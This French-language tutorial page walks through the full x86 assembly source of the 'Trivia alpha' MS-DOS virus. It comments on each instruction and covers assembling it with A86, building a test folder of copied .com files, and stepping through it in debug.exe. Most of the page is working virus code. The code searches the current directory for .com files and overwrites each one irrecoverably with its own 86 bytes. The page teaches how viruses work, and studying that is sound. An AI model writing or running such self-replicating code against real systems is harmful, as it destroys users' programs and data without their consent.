Virus informatique/trivia α

Le virus trivia en version alpha est le plus simple des virus car il n'infecte que les fichiers exécutables .com du répertoire courant.

Organigramme avec assembleur Intel en regard modifier

Organigramme Assembleur Commentaires
  FichierCOM DB '*.com',0 chaîne à rechercher (finie par zéro)
MOV AH,4Eh

MOV DX,OFFSET FichierCOM
INT 21H

Première recherche de fichier

Dans DX l'adresse de la chaîne ASCIIZ
MS-DOS lance la recherche

JC exit Retour au système si on ne trouve aucun fichier .com
infection:

MOV AH, 3dH
MOV AL, 1
MOV DX, NomFich
INT 21H

XCHG AX, BX
MOV AH, 40H
MOV CL, 86
MOV DX, 100H
INT 21H

MOV AH, 3eH
INT 21H

Ouvrir un fichier
En écrasement
Dans DX l'adresse du nom du fichier
MS-DOS nous ouvre le fichier
(le descripteur du fichier est dans AX)
Interversion entre AX et BX
En écriture
Nombre d’octets : 86 (taille totale du virus)
Emplacement où commencer l’écriture
MS-DOS écrit dans le fichier victime

Fermeture de fichier
MS-DOS ferme le fichier infecté

MOV AH, 4fH

INT 21H

Deuxième recherche de fichier

MS-DOS lance la recherche

JNC infection Retour à la procédure d’infection si un fichier .com a été trouvé
exit:

MOV AH, 4ch
MOV AL, 00
INT 21h

Retour au système
Code de retour : 00 (sortie normale)
MS-DOS termine le programme

Code source commenté, pas à pas modifier

La recherche de fichier est un service fournit pas MS-DOS : le service numéro 4Eh (h indique qu'il s'agit d'hexadécimal) de l'interruption 21h permet de rechercher n'importe quel fichier en spécifiant la bonne chaîne ASCIIZ (chaîne de caractère finie par un zéro)

Il faut d'abord déclarer la chaîne. En assembleur :

FichierCOM db '*.com',0

FichierCOM est le nom que l'on donne à notre variable. DB (Dump Byte) c'est pour affecter la chaîne au nom. '*.com',0 est la chaîne ASCIIZ.

Il ne reste plus qu'à utiliser le service 4Eh:

MOV AH,4Eh

On met le numero de service dans le registre AH, ici 4Eh.

MOV DX,OFFSET FichierCOM

DX reçoit l'adresse de la chaîne ASCIIZ

INT 21h

On exécute la recherche avec l'interruption 21h. Si il n'y a pas de fichier, MS-DOS nous avertit en mettant à 1 un bit (le flag de retenue) d'un registre appelé registre d'état.

On peut le tester avec cette instruction :

JC exit

Jump if Carry, c.a.d saut à "exit" si le flag de retenue est à 1.

Si il y a un fichier, on trouve son nom inscrit alors à l'adresse 9E. Y a plus qu'a récupérer son nom pour l'ouvrir et y écrire le code du virus, c'est le rôle du service 3Dh:

MOV AH, 3Dh

Service 3Dh : ouvrir un fichier

MOV AL, 1

En écriture, on écrase tout. Le fichier infecté sera irrécupérable, pas de désinfection possible.

MOV DX, NomFich

Dans DX l'adresse du nom du fichier.

INT 21h

MS-DOS l'ouvre.

On a juste ouvert le fichier pour pouvoir récupérer son descripteur (handle en anglais). C'est un numéro attribué au fichier qui sert à MS-DOS pour le reconnaître.

Après l'interruption 21h, le descripteur est dans le registre 16 bits AX. Maintenant qu'on a son descripteur on va écraser son code en écrivant notre virus par dessus. Mais faut-il encore connaître la taille exacte du virus. Facile : il suffit d'assembler et de voir la taille du com. Il faut surtout le placer au bon endroit. Car le code d'un fichier COM commence 256 (100h) octets après le début du fichier, il faut donc écrire qu'a partir de 100h.

C'est le rôle du service 40h:

MOV AH, 40h

On va écrire dans le fichier

MOV CL, 86

Taille du virus : 86 octets (à savoir)

MOV DX, 100h

Le bon offset.

INT 21h

MS-DOS écrit le virus. (Vérifiable en contrôlant la DEL du disque dur)

Le virus est libéré sauf si le disque est plein (moins de 86 octets libre) ou s'il est protégé en écriture.

Le virus s'est dupliqué il peut effectuer une action comme afficher un message.

Il doit maintenant infecter d'autres fichiers .com. Faut-il réutiliser le service 4E ? Non, car ce service recherche le premier fichier du répertoire courant, l'infection se fera toujours sur le même fichier, il nous faut donc rechercher d'autres fichiers com.

C'est le rôle du service 4Fh. Remarque: 4F est égal à 4E + 1 (en hexadécimal).

MOV AH, 4Fh

Deuxième recherche :

INT 21h

Si il n'y a pas de fichier, DOS nous avertit en mettant … 1 un bit (le flag de retenue) d'un registre appel‚ registre d'état. On le teste avec :

JNC Infection

Jump if Not Carry, c.a.d saut à "Infection" si le flag de retenue est à 0. Si il y a un fichier, on trouve son nom inscrit alors à l'adresse 9Eh. Y a plus qu'a récupérer son nom pour l'ouvrir et y écrire le code du virus.

Assemblage et environnement de test modifier

Utilisez votre assembleur préféré, comme par exemple A86 d’Eric Isaacson :

I:\A86>a86 trivia.asm trivia-a.com
A86 macro assembler, V4.05 Copyright 2000 Eric Isaacson
Source:
trivia.asm
Object: trivia-a.com
Symbols: trivia-a.SYM
I:\A86>^C

Créez ensuite un dossier dédié à vos essais où vous placerez le fichier trivia.com ainsi que des copies de fichiers .com se trouvant dans C:\windows\system32

I:\>md virus
I:\>cd virus
I:\VIRUS>_

Exécution pas à pas au débuggeur modifier

« Debug.exe » est fournit avec toutes les versions de Windows et est accessible depuis n’importe quel dossier.

I:\Virus>debug trivia-a.com

Tapez ? pour une aide, U pour désassembler, D pour afficher la plage mémoire, P pour l’exécution pas-à-pas, Q pour sortir du débuggeur.